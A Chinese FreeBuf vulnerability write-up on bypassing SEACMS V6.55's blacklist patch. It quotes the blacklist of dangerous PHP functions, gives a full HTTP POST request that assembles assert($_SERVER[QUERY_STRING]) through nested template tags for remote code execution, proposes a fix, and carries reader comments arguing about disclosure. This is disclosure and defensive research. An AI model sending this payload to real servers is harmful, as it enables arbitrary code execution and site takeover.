海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码

2017-10-13 +15 518601人围观 ,发现 25 个不明物体 漏洞

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

概述

前几天我们公布了海洋CMS(SEACMS)的一个0day漏洞,官方据称是在10月2日发布的V6.55版本中进行了修复,而实际上漏洞并没有被实质性修复,而是仍然存在任意代码执行的问题。

V6.55修复方式

新版本在main.class.php的parseIf函数中增加了黑名单的方式来过滤:

foreach($iar as $v){
            $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
        }
        $iar = $iarok;  

首先用黑名单过滤的方式来解决问题就没有找准漏洞根源,而且这个黑名单也是非常不全面的。

绕过方法

由于php存在大量可执行代码的函数,仅仅过滤上面这些是远远不够的,这里甚至连最常用的assert都没有过滤。对于引入shellcode的地方,仅仅过滤了$_GET、$_POST、$_COOKIE、$_REQUEST,然而HTTP请求数据可以进来的地方还有很多,例如$_SERVER。我们随便构造一个请求即可绕过:

POST /seacms/search.php?phpinfo(); HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 201
Connection: keep-alive
Upgrade-Insecure-Requests: 1
searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

最终在eval中执行的代码是:

if(assert($_SERVER[QUERY_STRING]));/*xxxxx

而在php中$_SERVER[QUERY_STRING])会被等同于$_SERVER['QUERY_STRING'])执行,这样就不用考虑绕过addslashes的问题了。然后就是把要执行的代码放在query_string中即可。

海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码

修复方案

要不就按照你们的修复方案继续补充黑名单,要不就还按照我的修复方案在echoSearchPage()函数中增加一条过滤语句:

if(strpos($searchword,'{searchpage:')) exit;

*本文作者:天择实习生,转载请注明来自 FreeBuf.COM

相关推荐

这些评论亮了

  • 海洋CMS 回复
    你们就不能通过正规的途径报告漏洞吗?非要这样发文章公开?这样就体现出你们特别屌吗?
    )73( 亮了
  • @ 海洋CMS 这个不是新漏洞啊,还是上次我报告给你们那个,换种利用方式而已。我说截止10.9还没修补漏洞你们不承认非说已经补了,我只能证明给你们看啊。
    )33( 亮了
  • 海洋cms开发者 回复
    先说明一下,楼上的昵称为海洋cms的评论者非海洋cms人员。作为开发者,感谢本文作者对海洋cms的关注,因技术有限+想法简单,造成了修复后仍有漏洞存在,会尽快进行升级一次,再次感谢。
    )31( 亮了
  • imsebao (2级) 回复
    @ 海洋CMS 告诉你一个重点!!!!! freebuf投稿给钱,通知厂商没钱。就这么简单
    )30( 亮了
  • 那你们对人家的漏洞报告引起足够的重视了吗 还要怪人家发文章
    )29( 亮了
发表评论

已有 25 条评论

取消
Loading...
天择实习生

这家伙太懒,还未填写个人描述!

4 文章数 2 评论数 0 关注者

特别推荐

推荐关注

官方公众号

聚焦企业安全

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php